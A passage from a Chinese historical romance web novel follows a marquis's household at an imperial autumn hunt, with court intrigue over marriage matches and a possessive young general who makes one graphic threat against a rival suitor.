江曜身形一顿,阴冷的狐狸眼转而低下,他问:“阿锁也讨厌我吗?”
“怎么会?”
姬时语没有抬头,她的直觉告诉她,这个时候若说出了“讨厌”二字,后果会是她不能承受的可怕。
“但是你不想受京中姑娘们的倾慕吗?我瞧太傅家的姐姐就很中意你。”
“天底下,其余人都不重要,只要阿锁不讨厌我就好。”
江曜嗓音清冷,说的却很认真,他像十分在意这件事,“所以,阿锁讨厌我吗?”
他太上心了,那股急切,让怀中的姬时语受到感染。
她怎么忍心让江曜失望。
这五年江曜一直走着正途,未入歧路,姬时语很坚信,她将少年养的很好,歪脖子树终究还是被她掰正了。
她的哥哥江曜,会是意气风发的明威小将军,为人平和,清风明月,君子朗朗。
这样的江曜,任谁不会喜欢?
侯府这些个兄长之中,唯有江曜生得最得她心。
是她最喜欢的少年将军,也有着她最心悦的品性。
姬时语的双手抬起,很自然地环住了江曜的脖子,坐在他怀里,她黄鹂婉转的笑声荡开。
“若说是哥哥,我当然不会讨厌你,若说是旁的,我才不要告诉你呢……”
……
这一趟马场之行,去时四个人完好无损,回来时各有各的伤。
姬合英心怀愧疚,姬时语说江曜身子骨结实,没几日便能养好,谈及此,她又问了薛淮璋的伤势。
“伤口有些深,好在只是皮外之伤。”
姬合英心情复杂,薛淮璋的心意她早已知晓。
两人花朝节那日并未明说,但在马场时,薛淮璋表达了心意。
他想陪姬合英一起去岭西。
但薛淮璋已在京中领职,又如何能去岭西呢?
姬时语看出姬合英眉头拧很紧,她劝了一句:“姐姐总为人考虑,也该为自己考虑一回了。”
闻言,姬合英笑了笑,“是啊,我还没阿锁想得开呢。”
姬时语内心腹诽万千。
她只是觉着缘分到了,彼此两情相悦便在一起,有什么不可吗?
没有。
头一日沈安乐才来了信,说沈家已应了昌平伯,她和昌平伯次子的亲事也定下来了,婚期就在明年年中。
而接下来的十日,忠义侯府更是好事连连。
先是何氏去面见了舒氏,道她为姬如萍、姬如蕊姐妹挑了相看的人家,想请舒氏过目。
姬如萍与姬如蕊是三房庶女,出身并不高。
何氏这个正房夫人待子女一视同仁,她并不苛刻庶女,为两人挑的也都是清白人家的公子。
舒氏觉着并无不妥。
三房的两门亲事很快便定了下来。
紧接着,尚书府夫人的蒋氏再度上门求亲,五年的大雁是早老死不得用了,这回薛家又新买了两只更肥硕的。
蒋氏直言,定是五年前的大雁不够胖,因而忠义侯府推了亲事,这回定要带两只肥嘟嘟的。
大雁一入院子,嘎嘎叫声便没停过。
不必说也知道,是为薛淮璋求娶忠义侯府的嫡长女姬合英。
舒氏看了一眼姬合英问询于她。
姬合英望着母亲,点了点头。
她愿意嫁给薛淮璋了。
第64章
十月初八,正值浓秋,长云舒卷,是一年秋猎的好时候。
弘文帝召旨前往西宫别院秋猎,此行亦有宫中妃嫔随行。
虽陛下只命柳贵妃与容婕妤两位妃嫔前去西宫,但以见得陛下仍未有立储之意。
朝中三品之上文武百官受了召,携家眷同行。
其中忠义侯姬雄武任护行大统领,随队一路护卫弘文帝安危。
因此忠义侯府需得前往西宫。
清早,姬时语赖了床不愿离府。
舒氏来韶华院攀扯了她许久,小姑娘嘟囔着撒了泼。
“西宫别苑有什么好玩的?”
“你不是最喜欢出府玩耍吗,怎还不乐意上了?”
“和哥哥姐姐一道出去,当然好玩过瘾呐,可西宫是什么地方?说穿了,这次秋猎不就是给三位皇子造势,说不准今年夺得头赏的,陛下大喜过望就册立为太子了。”
姬时语看得如此明白,舒氏微微诧异。
可弘文帝已是下旨,容不得忠义侯府抗旨,舒氏只能冷声不住催促小女儿起身。
“好了,待去到西宫,我让你姐姐给你抓一只小兔子,可好?”
“真哒?”
小姑娘可好哄,听舒氏说允她养毛茸茸的兔子,她索性不困了,一刺溜便爬了起来。
没的姬时语磨蹭,一行人终是收拾妥当。
大清早晨露还未干,侯府众人便坐上马车启程往城郊西宫而去。
姬时语困倦的不行,爬上马车又卷了薄毯,枕着姐姐姬合英的膝盖。
才一刻,她便呼呼大睡起来。
“还真是心大。”
舒氏无奈拍拍姬时语的后背,哄着她睡,姬合英则笑了:“像阿锁这样没心没肺才好呢。”
皇家之事才是繁琐,姬时语不喜西宫秋猎,焉知姬合英亦是不喜?
忠义侯府随行皇室马车,光这一路上,柳贵妃与容婕妤便叫停了几回车队。
一个时辰的行程,是走了近两个时辰才抵达。
有的折腾。
西宫别苑坐落于枫林之上,搭建在山间半腰之处。
而站在这处别宫的地段,放眼眺望,刚好可见山下的一处澄亮的月亮湖。
湖面环如半月牙儿,听说是先帝命万人开凿挖掘渠水而造,只为别宫晨起便可见湖水清澈。
姬合英只是瞥去一眼,惶惶回头,她不敢细想。
头一日,弘文帝抵达别宫之后,各府便陆续来到猎场。
除开皇室子弟,各家皆会住在搭设的营帐之中。
围场之外,旗帜翻动,秋风猎猎,数不清多少营帐围蓬。
不过姬合英眼向来尖,飞快瞟到竖着忠义侯府的旗帜。
各府所住的营帐被扎系在一起,姬合英和姬时语各处一个小营帐,隔壁便是江曜的住处。
姬时语微微抱怨,“唉,我说不想来便是这,还不如住在家中呢。”
“有时候是该吃几顿噎食啊,阿锁。”
姬合英摸摸姬时语头上的发揪。
姬时语瞪着明亮的眼,问她:“姐姐可要下场狩猎?”
“兴许会,我看父亲怎么说。”
比起秋猎,姬合英更怕姬时语无趣,她便说:“江云让随同父亲护卫陛下,定是无法陪你,姐姐若也走了,我们阿锁要做孤身的小姑娘咯。”
“姐姐不许取笑我。”
姬时语老大不乐意被笑话,她哼道:“不是说安乐也来了?我还能去找她一起呢。”
“好好,我们阿锁做什么都好。”
不过听姬合英说江曜随同在弘文帝身边,姬时语拧眉有些担忧:“陛下竟还召见了江云让,哥哥不会有事吧。”
“你在担心什么?”
“姐姐,这回秋猎楚王府可有前来?”
“来了,来的是世子江子墨。”姬合英道。
姬时语的担忧不无
道理。
眼下的西宫别苑盛华殿,江曜刚随姬雄武入了大殿。
弘文帝坐在上首,三位皇子皆在殿中。
拜见过弘文帝,江曜立于侧旁。
方一抬首,狐狸眼不过轻轻扫视,便对上了江子墨的探究目光。
江子墨坐在三皇子江承北身侧,朝江曜冷嗤。
江曜眉头刚皱起,这时上首弘文帝洪亮的声音响起。
“姬爱卿培养的明威小将军在岭西是相当英勇,这番秋猎,可要让朕亲眼见识一下小将军的威风啊。”
“臣定当竭尽全力。”
江曜已是侧身正对弘文帝,再度朝拜。
秋猎本是供皇家子弟嬉乐,今年的秋猎众人却心知肚明,弘文帝有意考教几位皇子,为立储而准备。
可这个节骨眼,弘文帝亲下御口,命江曜一同参与秋猎比试。
意味着什么?
殿中,江子墨咬紧牙关,他面色狰狞,几度握紧拳头又转而松开手,是在强忍情绪。
江曜入殿以来,江子墨便没挪过眼,眸中看得只有他。
江子墨从未见过江曜。
这些年过去,忠义侯府大胜大陇归京,江子墨才知道侯府出了一位风华绝代的小将军。
江曜身姿挺拔,有武将大才之风,承袭忠义侯姬雄武,是风头大盛。
江子墨惊觉,弘文帝已是对江曜看入了眼。
二皇子江承德转动轮椅,轻而过来,“楚王世子看什么呢?”
江子墨回头,洞察江承德的笑意,他黑着脸避开眼,“不劳二殿下费心。”
秋猎的第一日,弘文帝命下臣们休整。
当日不会进围场,皇子们便也携正妃回别宫休息。
姬雄武先行离了别苑,他还需休整护卫队,确保秋猎围场一切妥当,不得出纰漏。
江曜便独自从西宫踏上山道,打算往围场营帐折返。
便在这时,有人在身后喊叫住了他。
“江云让。”
江曜回了身,江子墨一双眼生了火,他直喊他的名讳,“还是说我该喊你江曜?”
西宫大院门前,两棵枫树高大冲天,秋风刮落簌簌的枫叶。
这纷飞落下的朱红之色,竟比不过楚王世子江子墨眼中的半分怒火。
江子墨站立于山道上方,俯瞰而下。
他嗤笑道:“可真有意思,忠义侯府养大的孩子,竟会是我遗落在外的亲兄长。”
“如果楚王世子希望此事闹得人尽皆知,那你就放大了声说。”
江曜仰视江子墨,他的狐狸眼一片阴冷,丝毫无惧。
“江云让,你在胁迫我?”
江子墨霎时变了脸,却不是怕江曜。
他害怕的是在西宫弘文帝眼皮子底下,事情会败露。
江子墨没来由的清楚,这桩楚王府的丑事绝不能以这番模样,暴露在天底下。
败露之后会丢脸的永远不是江曜,而是他江子墨这个楚王世子!
江曜冷笑,他抱臂懒散状,“随你怎么想。”
“江云让。”
江子墨顿了顿,脸色稍缓,“我知道你想认祖归宗,我可以准许你……”
“不,你不知道。”
江曜抬手一摆,已然打断了他的话。
他狐狸眼挑起三分暗色,“我对楚王府没半点心思,至于你这个世子之位,你能坐稳那就自己坐着。”
两片枫叶在江曜眼前一晃而下,他执着刀,刀面一抹,便将枫叶挑去了一旁。
“我不信你不想回楚王府,江云让,你有能力让我信服吗?”江子墨压低了声怒道。
“信与不信在于你,而不在于我。”
江曜别好长刀,他转了身背影凉薄,少年呵笑了一声。
“江子墨,回去告诉你母妃,她欠我一条命,这笔帐我迟早亲自找她讨回。”
话落,江曜大步潇洒沿着山道而下,再不回头。
……
姬时语苦等江曜,直到日落西山,她才等到江曜从西宫回来。
“哥哥。”
少年并未有异样,姬时语稍稍安了心。
她还拉着他去了旁的营帐,献宝似的笑道:“看,我和萍亭萍柳给你铺的,怎么样?”
江曜没在营帐的时候,姬时语和丫鬟们帮着舒氏收拾打点秋猎用具。
她是替江曜亲手打理,收拾好了住处。
被褥枕头铺好在床榻,换洗的衣物折好落在床头。
因要骑马狩猎,出门时姬时语让萍亭为江曜备了三套骑装,以便更换。
“辛苦阿锁了。”
江曜心中慰帖极了,姬时语如此贴心细致,操劳他之事,令他好生欢喜。
“我本以为来这地儿会无聊透顶,转悠了一下午,你猜我见到了谁?”
姬时语小脸明媚,“沈家人也到了,是安乐和她兄长沈大人,两人都在呢。太好了,我可不愁没人耍,总算是有人能陪着我啦。”
“沈家人?”
“是啊,可惜阿霜伤了脚来不了,沈家还给我们送来了几样小食,味道还不错,待会儿你尝尝,可好吃了!”
姬时语是吃到零嘴欢欣雀跃了,江曜却黑沉了脸,墨瞳之中暗潮汹涌。
“他们住在哪儿?”
“安乐住在南面,我们在北面,离侯府有点远,不太好见着,她说走过来都得一刻钟呢。”
姬时语如此说,江曜面色微霁。
离得远好,见不到那更是最好。
“我们在北面,可咱们挨着的,是太傅府柳家。”
说起住处离得远近,姬时语兀自叉腰忿忿不平。
“太傅府的两位姐姐都在,柳瑾柔午后还跑来寻你,问你在不在营帐,哼!”
江曜牵住她柔软的手,蹙眉:“又说她作甚?”
“也是,她找的是你,该苦恼的是你不该是我。”姬时语笑了。
柳瑾柔的司马昭之心对着的是江曜,要烦让他自己烦去,她才不要管呢。
姬时语想明白了,笑着便甩开了江曜的手,转身便去翻找沈南怀送来的零嘴。
江曜受了冷落,整个人是一噎。
他最受不住姬时语的冷落和疏离,这番却又是因为柳瑾柔。
江曜阴沉着眼,若有所思。
什么柳瑾柔不瑾柔的,不长眼的人,他就该直接去杀了。
第65章
江曜想杀柳瑾柔的心思并未遮掩。
只是老天没给他机会。
西宫别苑人多眼杂,各府又紧挨着住下,皇家禁卫军严防死守,若有贵女殒命,弘文帝定会彻查。
江曜摸着刀柄若有所思,他想着柳瑾柔最好是安分守己一点,别来招惹他。
想是如此想,岂料当晚二皇子江承德的侍从长林寻了过来。
说是二皇子要见他。
因而日暮西沉,柳瑾柔再度找来忠义侯府营帐之时,江曜又是不在帐中。
姬时语待在营帐闲的发慌,她还在琢磨话本子的后头之事,帐外在这时传出萍亭的声音。
“柳二小姐,江公子受了二殿下传唤,怕是不得回来,您还是回去吧。”
“那他要多时才能回?大晚上的他们有什么可商议的,莫不是你这丫鬟故意刁难我吧。”
柳瑾柔的嗓音在夜风之中显得柔媚,还带有一丝不满。
姬时语秀眉一拧,起身便撩开营帐迈出。
待见立于隔壁屋前的柳瑾柔,她清了清嗓子,走了过去。
“柳小姐怎这样执着,我这今日可见你两回了。”
“姬五小姐。”
柳瑾柔见是江曜的妹妹姬时语,她还算客气,点点头又笑道:“我来也是为见小将军一面,你不要见怪。”
“何事非要急着深夜来寻见他的?”
姬时语一双水灵灵的眼上下打量柳瑾柔。
江曜营帐之前只悬挂了一盏昏黄油灯,灯火稍暗,映衬着柳瑾柔身段朦胧。
今夜的柳瑾柔身披一张素净的月白长袄,将全身裹得严实。
偏偏在姬时语垂首之间,眸光顿然见她宽大衣袖之中泛着白光的皓腕。
空荡的衣袖之中,她一双玉手绞在一块,好像还端着一杯茶。
深更半夜的,柳瑾柔来寻江曜,想来送茶?
不管做何事,姬时语都没打算让柳瑾柔久待。
江曜不在,柳瑾柔等亦是空等,到时还要招来无穷无尽的闲话。
麻烦。
“柳二小姐,夜已深,请回吧。”
姬时语给了萍亭一个眼神,边道:“萍亭,你知道去柳家的路吧。”
萍亭应:“奴婢省得。”
“我不要,我要在这儿等小将军回来!”
“萍亭、萍柳,送她回柳家。”
不管柳瑾柔愿还是不愿,姬时语已是下了不容置喙的命令。
“慢着。”
一见姬时语这般固执,柳瑾柔便觉
着这个小姑娘性子不好惹,但是姬时语又是江曜护得紧的妹妹,她心有不快却不能发作。
她还想在姬时语跟前搏一搏好感,以好换得她为自己在江曜那儿说好话。
柳瑾柔心思百转,那张美艳容颜轻轻绽开了笑。
“五小姐,我真要见小将军一面,还望你不要阻拦。”
“那我偏要阻拦呢?”姬时语冷冷回。
柳瑾柔语气不太好,“我定然是有事才要见他啊,你非要挡我,念在五小姐年龄小,我可以不和你计较。”
“这事究竟是谁该不计较谁?江云让和二殿下面见是为商议要事。”
姬时语蹙眉不悦,“而你,柳瑾柔,你执意等在忠义侯府的住处,外人见了又该道我侯府的不是,请你回太傅府柳家,不要在我们忠义侯府无理取闹。”
“你真要这般想我!”
柳瑾柔目光幽怨,夹带愤恨。
姬时语回她:“不只是我,是谁见了都会做如此想。”
柳瑾柔美艳绝色的脸,突兀地在昏暗之下扭曲怪异几分,她几度尝试平复,良久,才平稳住神情。
她问:“五小姐,你不会不知道,柳家正在与侯府议亲,柳家择中的便是我。”
“你想说的便是这事?”
“我在家中仅是庶女之身,比不得我大姐柳瑾瑜,父亲母亲并不看重我,那时亦是我毛遂自荐,父亲才觉着江云让是不错的夫婿。他希望我能嫁入侯府,做江云让的妻子。”
姬时语越听越听不下去了。
柳家是把江曜当物什看。
若柳瑾柔不提,太傅柳大人还看不上江曜,既然觉着江曜配不上柳家女,这番作态着实太作贱江曜了。
姬时语一番思忖下来,看柳家的眼神更是厌烦。
“你想嫁给我哥哥,这件事不是你说了算,也不是我说了算。”
柳瑾柔说了那样多,无非就是想姬时语看清楚,她柳瑾柔,是江曜可选之下极好的人选。
她希望侯府能应准两人亲事。
但姬时语根本不在乎。
柳瑾柔径直问她:“你没从中作梗?”
姬时语冷哼:“原来你一直以为你没能和江云让议亲,是我在其中作妖,坏了你的好事啊。”
“我并未这样想,我只是见江云让很护着你,猜想多半是你不愿意他成亲娶妻。”
柳瑾柔说的大言不惭,是一点也没顾及姬时语。
“柳瑾柔,我可以告诉你一件事。”
姬时语厌烦至极了,摆手便道:“从前我确实未碍过你的事,可你今日惹我不高兴了,从此往后,你想嫁给他这件事,我偏要阻拦。”
“你,不要!姬时语,你怎么能这样对我?”
柳瑾柔一下子就慌了,眼波泪水涟涟,瞅着姬时语满腔委屈。
姬时语的心中没生出半分波澜,她只觉得可笑。
在她被恶意揣测之后,柳瑾柔假惺惺跑来怪罪她,还不容许她不乐意了?
“请回吧,我不想看见你了。”
“姬时语,你真当如此绝情!”
柳瑾柔捂嘴没让自己泪水落下来,“你知道江云让不能娶我,是将失了多大的助力吗?整个太傅柳家,你竟看不上!”
姬时语嘲弄地看她,一言不发。
就在这一刻,柳瑾柔甚至觉着自己活像一个跳梁小丑,她是一出戏之中的丑角,百态尽出,全给姬时语看入了眼。
让她笑话自己。
自尊心受到巨创,柳瑾柔眼巴巴望了一眼江曜的营帐,再又泄愤似得愤愤然瞪姬时语。
小姑娘毫不退缩,直直瞪了回去。
姬时语一双黑葡萄眼,灵动玲珑,是比柳瑾柔的又大又亮。
任谁看了,都比不过她的眼睛大而漂亮。
柳瑾柔不动,萍亭、萍柳也不好真的上手去抓一介太傅府的小姐,只得候在两旁,随时有意上前。
姬时语又一次冷然启唇,“柳瑾柔,你还不走,非要我去请侍卫你才肯是吗?”
威胁之意之大,由不得柳瑾柔说不。
柳瑾柔见彻底无望,也不愿事情闹大在秋猎西宫围场丢大脸,她还是随丫鬟们离去了。
姬时语瞧着柳瑾柔翩跹的背影,十足的可笑。
她说柳瑾柔怎么看她不顺眼呢。
那日马场便有些阴阳怪气之意,原来她早觉着自己从中作梗,坏了她嫁给江曜的好事。
就这样的姑娘,即便江曜喜欢她,她都会想法子把两人亲事给搅黄了。
她不可能让江曜娶这样的女人为妻。
姬时语定了定心,抬手掀了营帐帘子,复而转身回屋。
……
江曜还当二皇子江承德夜深寻见他是为何要事,谁知江承德竟领着他一路来到西宫的青玉宫。
这是当朝贵妃娘娘柳贵妃在西宫的住处。
甫一入殿,上首一身妃色宫装的柳贵妃押了押蔻丹,笑意盈盈启了红唇,“是德儿来了。”
“儿臣见过母妃。”
江承德先行开口道:“明威小将军我可是带来了,母妃想问他何事直接问吧,夜深了我还要送他回侯府。”
“瞧你,本宫还没说什么呢,你就护上了,也不知你们何时关系这样好了。”
柳贵妃哀怨地叹了一口气,好似是为江承德不顾她,“德儿,母妃又不会吃了他。”
江承德并未直言,只是道:“只是近来母妃很是关切忠义侯府,我心有忐忑。”
“好了,你不必再说,今日不是为了姬家五小姐来的。”
柳贵妃面露不虞。
江曜猜到江承德许为了正妃一事和柳贵妃生了口角,柳贵妃执意要江承德娶忠义侯府的小姐为妻。
江承德定是不愿意了。
他没有骗自己,二皇子江承德当真对姬时语无意,也没想过迎娶阿锁为妻。
那么他也可以暂且不杀江承德。
江曜在这时上前,拜道:“江云让见过贵妃娘娘。”
“明威将军江云让。”
柳贵妃美目一转,落于江曜那张清冷的容貌之上,她端详几许,很是满意少年的冷清自若,抬手便道:“近来陛下总提及你,你很是赫赫有名啊。”
“不敢当。”江曜垂首。
“母妃。”江承德喊了一声。
柳贵妃被江承德直愣愣的笑眼看得头疼。
她的儿子江承德虽身子孱弱,常年坐轮椅,可是他只要笑眯眯看着谁,这个人即便是柳贵妃,她也架不住。
江承德是在催促柳贵妃。
“明威将军。”
柳贵妃心觉烦躁,与江曜便说:“本宫今日找你来,也是见你年岁到了,快要十九,便有意给你说一门亲事。”
江承德率先蹙眉,他又喊:“母妃?”
“都说成家后立业,你先立业再成家也不迟,正巧本宫看中了一个姑娘,与你很是相配。”
江承德飞快瞥江曜,只见江曜面上凝起黑雾,眼里霎时阴冷起来。
江曜冷笑问:“贵妃娘娘指的是柳家的姑娘,柳瑾柔?”
“你已是见过她了?”
柳贵妃微微诧异,还有几分欣喜,“太傅府的姑娘是本宫看着长大的,柳家女可谓是一等一的好。”
“多谢贵妃娘娘美意。”
就在柳贵妃喜悦之意上了头,还以为江曜是应下这门亲时,少年冷哼抬起一双阴沉沉满是郁色的眼,周身杀气凝结成了冰。
江承德顿时觉着不好。
“柳家二小姐,柳瑾柔,我无福消受这等美色。”
江曜单手执刀柄,掌心摸了摸他吃过无尽鲜血的爱刀,说出口的话是那样的森寒,“不过贵妃娘娘若执意要将柳家女送给我,我会留下的。”
“是吗?你……”
“到时我先砍了她手,再砍她双腿,后拔去舌头,再一刀一刀给她剐了,放干了血,丢进大缸里任她自生自灭,如何呢?”
末了,江曜翘起凉薄的唇,好像是笑了,“娘娘觉着这样也无所谓的话,那便将人送来吧。”
柳贵妃听得胆战心惊,脸色骤变。
这是比做成人彘还要丧心病狂、惨无人道。
灭绝人性!
江承德却
是面色凝重,他从不怀疑江曜话中有假。
这个少年除却在姬时语跟前看着乖顺,换作旁人,他从不顾及一丝一毫。
因此,江承德没想过对姬时语动心思,这事便也一早和江曜清楚的说开。
两人才可相安无事。
第66章
翌日一早,围场之外朝野上下难得聚首。
禁卫军整编列队,姬雄武骑着高马走在前首,护送弘文帝亲临围场。
秋日凉风席席,旌旗翻飞,舞动生风。
弘文帝坐在高台之上,柳贵妃与容婕妤坐在下首,目迎皇子们与各府世家子弟骑行而来。
大皇子江承运和三皇子江承北骑马一前一后,两人的神情眉飞色舞,一个赛一个的志在必得。
跟在其后的便是楚王世子江子墨,与朝廷新秀明威将军江曜。
姬时语立在外侧,远远的,便瞥见了江曜和姐姐姬合英身骑马匹,静候陛下旨意。
清晨之时,姬时语还问过姬合英,今日狩猎她可要去。
那时姬合英揉揉她的脑袋,笑说她身为当朝唯一的女武将,怎能不去呢?
不过这场秋猎本就是皇子们的大秀之地,姬合英虽会同去,但绝不是去争风头的。
因此她跟在最末,随时待命。
“父皇,儿臣们已是一切就绪。”
大皇子江承运兴致盎然,只等弘文帝发号皇令,传达准许。
“陛下。”容婕妤喊。
弘文帝轻瞥一眼容婕妤,容婕妤见陛下看过来,立马笑着说:“您看老大还是这么急切,他想多狩猎大的猛兽,给陛下您长脸呢。”
“容婕妤这话可不对了,今日入围场的,哪个不是为了陛下而战?”
柳贵妃不动声色睨容婕妤,眼眸划过讥嘲,“本宫相信各家公子亦会狩猎凶兽,亲自献到陛下跟前。”
“贵妃娘娘说的是。”
弘文帝没理睬二妃的是非,扬了生便道:“今日这围场之地,朕翘首以盼,看尔等狩猎收获几何,祝愿尔等行事顺利,得载猛兽,朕定赐下头筹,当众赏赐。”
“多谢父皇。”
大皇子江承运领头,众人齐声道:“吾皇万岁万岁万万岁。”
“很好,看尔等士气正盛,朕大悦之,明威将军可在?”
弘文帝高声喊了江曜的名字,在后的姬时语听见了,整个人是浑身一颤。
江曜骑马上前,抱拳拜道:“臣江云让听侯圣命。”
忠义侯府的少年将军一个亮相,令众人纷纷瞩目。
清清冷冷的容貌,一双如寒刃的狐狸眼,江曜一身墨色骑装,脊背挺拔,傲骨冷寒。
江曜那股与生俱来的矜贵之感,竟是把大皇子江承运和三皇子江承北都比了下去。
皇室贵胄,不过如此。
江承运忆起少年不屑一顾的冷眼,恨得脸色扭曲咬了牙。
而江承北则眼眸深深,盯着江曜的后背。
便听弘文帝开了口道:“来人,给明威将军赐弓!”
大太监喳了一声,匆忙让人将御赐的黄金长弓送到了江曜身前,笑说:“明威将军,请。”
“江云让。”
弘文帝大为满意,大笑道:“朕命你为秋猎开道。”
众人便直见江曜手握金灿灿的黄金大弓,他双腿夹马,一只手取来箭矢。
那副姿态恣意潇洒,惹人注目。
顶着江承运和江承北几乎要射穿他的目光,江曜拉弓、上了弦。
箭如冷风,唰得穿破一众人等。
高高的,直朝围场大门的那只旌旗射去。
旌旗滚动,箭矢正中旗中央。
“好箭法!”
弘文帝看的过瘾。
江曜已将长弓摆回盘面,交还回去,以示完命。
做完这些,他又摆头静静退到了两位皇子的身后。
“父皇。”
江承运冷哼,只觉得江曜还算识趣,没抢他的风头,他又看弘文帝,“就让儿臣来领路吧。”
这次入围场,大皇子江承运身为长皇子,由他带队入场,最适合不过。
江承运等着自己威风凛凛走在最前,赢足风光。
“老大慢着。”
谁料皇帝却话锋一转,“朕改主意了,今年的秋猎朕打算让老三领队。去吧,老三。”
“是,父皇,儿臣领命。”
一直跟在江承运的三皇子江承北,忽而被弘文帝点了名,他那张沉默的面庞再难抑制笑了起来。
拉了缰绳调转马匹,江承北便是改走到了江承运身前,他终于可以高傲的昂起头颅了。
相当春风得意。
江承运眼中的阴鸷再压不住,可上首的弘文帝已下了命,“朕宣布,尔等即刻便入秋猎场,狩猎!”
“是!”
一干人等等候不急,江承北领队,众人便也跟在他之后。
江承运虽不甘心,但只能暂且罢休。
弘文帝亲眼看着,江承运还要做表面样子,想着入了场斩落大家伙便可让父皇改观。
江承运迅速驱马跟上了江承北。
弘文帝目送众人入围场,再又目光一转,落在下首的江承德身上。
二皇子江承德坐于轮椅之中,不得参与此次的秋猎。
柳贵妃还未说话,容婕妤有些耐不住,委屈诉苦:“陛下,您为何不让老大领队?”
弘文帝霎时觑眼。
帝王犀利的眼投来,容婕妤忽感自己闯祸,便要从座椅里爬起来跪下去。
“往年都是老大领队,今年朕让老三领一回怎么了?”弘文帝哼道。
容婕妤赶忙赔罪,“臣妾知错,陛下恕罪。”
“你既是老大的母妃,等着他狩猎归来就是。”弘文帝道。
看容婕妤被弘文帝敲打,柳贵妃嗤笑:“不错,容婕妤啊,你该庆幸我的老二不能入场,不然本宫定恳求陛下做主,让老二领队。”
柳贵妃哪里不知道,容婕妤早做了春秋大梦,大皇子占个长,真把自己当嫡长子看待了?
做什么梦呢!
柳贵妃轻蔑看她。
“贵妃娘娘。”
容婕妤被柳贵妃刺得下不来台,她又咽不下去这口气,当即回道:“可惜二皇子殿下的身子……只怕要让娘娘这颗心落空了,不若殿下定会亲自孝敬陛下和贵妃娘娘。”
“容婕妤,你好大的胆子!”
“臣妾只是期盼二皇子殿下安康如意,并未有他想。”
“有没有你自己知道,别以为我不清楚你那点心思。”
大庭广众之下,容婕妤胆敢嘲讽江承德残废之身,柳贵妃决计不会让她太好过的。
“你以为本宫的儿子坐着轮椅,便不可为陛下长眼了?”
柳贵妃径直冷笑:“容婕妤,你最好期盼大皇子能安然回来,本宫会亲眼看着。”
容婕妤气得浑身发抖。
柳贵妃却畅快极了。
江承德是柳贵妃的逆鳞,她只有这么一个孩子,容婕妤的好大儿还没坐上太子储君之位呢,便在她跟前嚣张炫耀。
不知道的还以为容婕妤飞上枝头,已是皇后之身了。
柳贵妃讥讽一笑。
二皇子江承德坐在下头,是一字不落将二妃争执听入了耳,他隐隐有种不安的错觉。
昨夜柳贵妃特意寻见江曜,是为将柳家女嫁给他,江曜执意不肯。
扬言要把柳瑾柔碎尸万段,这才让柳贵妃歇了心思。
可这短短数日,母妃不是有意为他求娶姬时语,便是给江曜做媒。
为的便是拉拢忠义侯府。
是要争一争储君之位?
江承德想不明白了,他一个将死之人,连活命都活不了几年了,有什么可争的。
如今柳贵妃屡次不给容婕妤好脸色,更是明里暗里打压大皇子一党。
朝中三党,以大皇子和三皇子对峙而平衡,若二皇子党插一脚,这股平衡不日之后便会被打破。
江承德抬眼看上首的弘文帝。
皇帝好似对二妃之言视若无睹,压根没上心。
帝王之术在于衡。
弘文帝不见得希望江承德入这场局。
思罢了,江承德转动
轮椅,病弱地咳嗽几声,虚弱着说:“父皇,儿臣身子有些不舒服,想先回营帐休息了。”
“外头秋风可太凉了?”
弘文帝蹙眉,“老二,你先回去,身子为重。”
“谢父皇。”
得了应,长林便推着江承德离去。
二皇子主动请离,是为远离这场争端。
他的态度便是绝不愿入这祸水之中。
……
各府子弟随皇子们入了围场,沈安乐在沈家营帐闲着无趣,便来忠义侯府寻姬时语。
两个姑娘攀谈着,沈安乐将从沈家带来的小吃食摆在了她手边。
姬时语觉着很稀罕,这些零嘴她还未在京中见过。
“你都是哪里得来的?”
姬时语拿起一颗酸甜的豆果,问沈安乐:“这果子外头酸甜脆壳,里头竟是包了山楂果,味道好新奇呢。”
“是呀,我
第一回吃到时,也觉着是说不出的味道,可就是好吃。”
沈安乐笑嘻嘻道:“这些是我母亲家中托人送进京城的,她出身漳州,在最南之地,那里喜酸,和咱们口味确实不一样。”
“你继母也来围场了?”
“是的。”
姬时语看沈安乐并未流露不耐之色,她安了心,莞尔道:“现在放心了吧,你继母应是个好性子的。”
“是我先前有些错怪母亲了。”
沈安乐的眼浮现内疚,“我没想到她费尽心思为我选了一门婚事,是想我日后过的好些。”
“兴许这是你与你继母之间的缘分。”
“是啊,时语,我是更信你了,你在我心中无所不能!”
“我哪有你说的这样厉害?”
姬时语被沈安乐晶亮的双眸盯着脸红,偏沈安乐还在赞不绝口。
“你话本写的真,连琢磨消息也灵通,脑子转的又快,我是觉着天底下无你办不好的事。”
“照你这么说,我连《浮尘》还不知道怎么写呢!”
“我信你一定会给小公主写一个圆满结局。”
沈安乐调皮一笑,她换了话端,问姬时语:“这几日兄长们都要在秋猎待着,时语,你可有想抓的小东西?”
姬时语含笑道:“我想要一只小兔子。”
她同江曜说了,她很想要一只毛茸茸的红眼小兔子,不知道他秋猎可能遇到,抓一只给她玩儿。
“小兔子啊。”
沈安乐转动眼睛,“原来你喜欢这个。”
离行前,沈南怀特意托沈安乐来问姬时语,看她可有想要的猎物,他想亲自去抓捕一只。
醉翁之意不在酒。
沈安乐终于懂得了。
自家兄长花朝节拼命猜灯谜,还多换了一只花灯,只为亲自送到姬时语手上,究竟为了何意。
沈南怀爱慕着姬时语。
他想娶她为妻。
沈安乐有心想帮哥哥一把,她又睇了一眼咬着酸果子的姬时语。
小姑娘皮肤玉白,十六岁的年纪,生得如粉面桃花,海棠罗袖,软玉生香。
她的眼睛是最好看的,凝望着你时,如有秋水拂过。
连心口都被挑动了。
沈安乐支着下巴胡乱想,这样的姬时语若是有朝一日能嫁入沈家,做她的嫂嫂。
她是一百个愿意!
只是上回听杜南霜说,姬时语被她的云让哥哥护得紧,若非两人是兄妹,外人该说一句堪佩了。
沈安乐又犯了愁,她闷声问:“时语,你哥哥可有婚配?”
“没呢。”
姬时语差点咬了舌尖,怎么一个二个都来问江曜的亲事呢。
柳家的来,沈家的问,在这京城之中,江曜这个明威将军就真的这么香饽饽?
酸果子在她两颊来回滚动,一会儿一边鼓起一个小包。
“那你呢,侯夫人可为你相看了?”
“也没呢。”
姬时语犯难的很,小脸皱起,酸果子也不吃了。
“唉,我娘是想为我相看人家了,上头几个姐姐已定了亲,很快便要轮到我了。”
“那好啊,好啊!”
“我哥哥的亲事一时半会应还定不下来,我娘兴许会先给我挑着。”
“那你怎么想的?”
沈安乐一喜,姬时语要考虑人家了,她的哥哥沈南怀岂不是就有机会了。
“我想寻个方方面面满意的夫君,要能让我婚后过得顺心,家中杂七杂八事少些,我每日还想多睡几时的懒觉呢。”
